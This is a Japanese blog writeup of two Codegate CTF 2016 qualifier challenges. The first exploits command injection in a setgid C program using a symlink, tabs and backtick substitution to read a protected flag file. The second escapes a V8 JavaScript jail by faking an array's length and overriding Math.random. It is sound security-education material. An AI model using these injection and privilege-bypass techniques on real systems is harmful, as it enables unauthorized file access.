Codegate CTF 2016 Quals

Codegate CTF 2016 Quals writeup MIC Check

MIC Check

Who's in here?

ssh mic@175.119.158.131 -p11133
pw : miccheck
指定されたIPアドレス、ポートにsshで接続します。lsコマンドでファイル一覧を確認します。mic.flag.txtにフラグが書かれていると思われますが、所有者が異なるためそのままでは閲覧できません。
mic@ubuntu:~$ ls -al
total 44
drwxr-x--- 3 root mic      4096 Mar 13 09:51 .
drwxr-xr-x 6 root root     4096 Mar 13 01:32 ..
drwxr-xr-x 2 root root     4096 Mar 13 01:49 .bash_history
-rw-r--r-- 1 root root      220 Mar 13 01:07 .bash_logout
-rw-r--r-- 1 root root     3771 Mar 13 01:07 .bashrc
-rwxr-sr-x 1 root miccheck 8992 Mar 13 02:04 miccheck
-rw-r--r-- 1 root root      698 Mar 13 02:04 miccheck.c
-r--r----- 1 root miccheck   23 Mar 13 01:28 mic.flag.txt
-rw-r--r-- 1 root root      675 Mar 13 01:07 .profile
miccheck.cを確認します。
mic@ubuntu:~$ cat miccheck.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main( int argc, char *argv[], char **environ )
{
        char buf[12] = { 0, };
        char cmd[2048] = { 0, };
        unsigned int i = 0;

        char **e;
        size_t len;

        printf( "input path :" );
        fgets( buf, 10, stdin );

        for( i = 0; i <= 11; i++ ) {
                if( buf[i] == '\'' ) exit(0);
                if( buf[i] == '&' ) exit(0);
                if( buf[i] == ';' ) exit(0);
                if( buf[i] == '|' ) exit(0);
                if( buf[i] == '\"' ) exit(0);
                if( buf[i] == ' ' ) exit(0);
        }


        sprintf( cmd, "/bin/ls -al /dev/%s", buf );

        for( e = environ; *e; ++e ) {
                len = strlen( *e );
                memset( *e, 0x00, len );
        }

        setregid( 1003, 1003 );
        system( cmd );

        return 0;
}
同じディレクトリにあるmiccheckを実行して、コマンドインジェクションによりflagファイルの内容を表示させれば良いと思われます。ただし、10文字までしか入力できませんので、文字数を省略するために、まず、書き込み権限のあるフォルダを探して1文字のファイル名でシンボリックリンクを作成します。下記では、/dev/shmフォルダにfという名前でシンボリックリンクを作成しています。
mic@ubuntu:/dev/shm$ ln -s /home/mic/mic.flag.txt f
mic@ubuntu:/dev/shm$ ls -al
total 0
drwxrwxrwt  2 root root   60 Mar 14 01:14 .
drwxr-xr-x 19 root root 4320 Mar 14 01:03 ..
lrwxrwxrwx  1 mic  mic    22 Mar 14 01:14 f -> /home/mic/mic.flag.txt
半角スペースが使えませんので代わりにタブを使い、バッククォートでコマンドを実行させます。
mic@ubuntu:/dev/shm$ /home/mic/miccheck
input path :a`cat       f`
/bin/ls: cannot access /dev/alet: No such file or directory
/bin/ls: cannot access the: No such file or directory
/bin/ls: cannot access hacking: No such file or directory
/bin/ls: cannot access begins: No such file or directory
赤文字の部分が「cat f」コマンドの結果ですので、それをつなげて、フラグは、
let the hacking begins
になります。




Codegate CTF 2016 Quals writeup JS_is_not_a_jail

JS_is_not_a_jail

nc 175.119.158.131 1129
ncコマンドで指定されたサーバ、ポートに接続します。
[JavaScript Jail]
let start to type on 'challenge100'
V8 version 5.1.0 (candidate)
指示通りchallenge100と入力します。
d8> challenge100
次のとおり、challenge100関数の内容が表示されます。
challenge100
function (arr) {
                var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c31669
7bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6";
                var check = "20150303";

                if((arr === null || arr === undefined)) {
                        print("arr is null or undefined.");
                        return;
                }

                if(!arr.hasOwnProperty('length')) {
                        print("length property is null or undefined.");
                        return;
                }

                if(arr.length >= 0) {
                        print("i think you're not geek. From now on, a GEEK Only
!");
                        return;
                }

                if(Object.getPrototypeOf(arr) !== Array.prototype) {
                        print("Oh.... can you give me an array?");
                        return;
                }

                var length = check.length;
                for(var i=0;i<length;i++) {
                        arr[i] = random_value[Math.floor(Math.random() * random_
value.length)];
                }

                for(i=0;i<length;i++) {
                        if(arr[i] !== check[i]) {
                                print("Umm... i think 2015/03/03 is so special d
ay.\nso you must set random value to 20150303 :)");
                                return;
                        }
                }
                print("Yay!!");
                print(flag);
        }
引数に渡したオブジェクトがlengthプロパティを持つ必要があり、lengthプロパティの返す値が0未満である必要があります。さらに、プロトタイプがArray.prototypeである必要があります。
したがって、まず、オブジェクトリテラルでlengthをプロパティ名とし値を-1に設定します。
d8> var obj={length:-1,"0":1}
var obj={length:-1,"0":1}
undefined
次に、__proto__にArray.prototypeを設定します。
d8> obj.__proto__=Array.prototype;
obj.__proto__=Array.prototype;
[]
この時点でlengthプロパティの値は-1のままです。
d8> obj.length
obj.length
-1
challenge100関数にこのオブジェクトを渡します。日付のチェックの所まで行きました。
d8> challenge100(obj)
challenge100(obj)
Umm... i think 2015/03/03 is so special day.
so you must set random value to 20150303 :)
undefined
それでは次にMath.randomを上書きして、都合の良い値を返すようにします。
d8> Math.random = function() {var a = [0.22917, 0.21875, 0.23959, 0.3125, 0.2187
5, 0.40625, 0.21875, 0.40625]; i++; return a[i%8];}
再度、objを引数に渡してchallenge100関数を呼び出します。
d8> challenge100(obj)
challenge100(obj)
Yay!!
flag is "easy xD, get a more hardest challenge!"
undefined
フラグが表示されました。
したがって、フラグは、
easy xD, get a more hardest challenge!
です。




記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー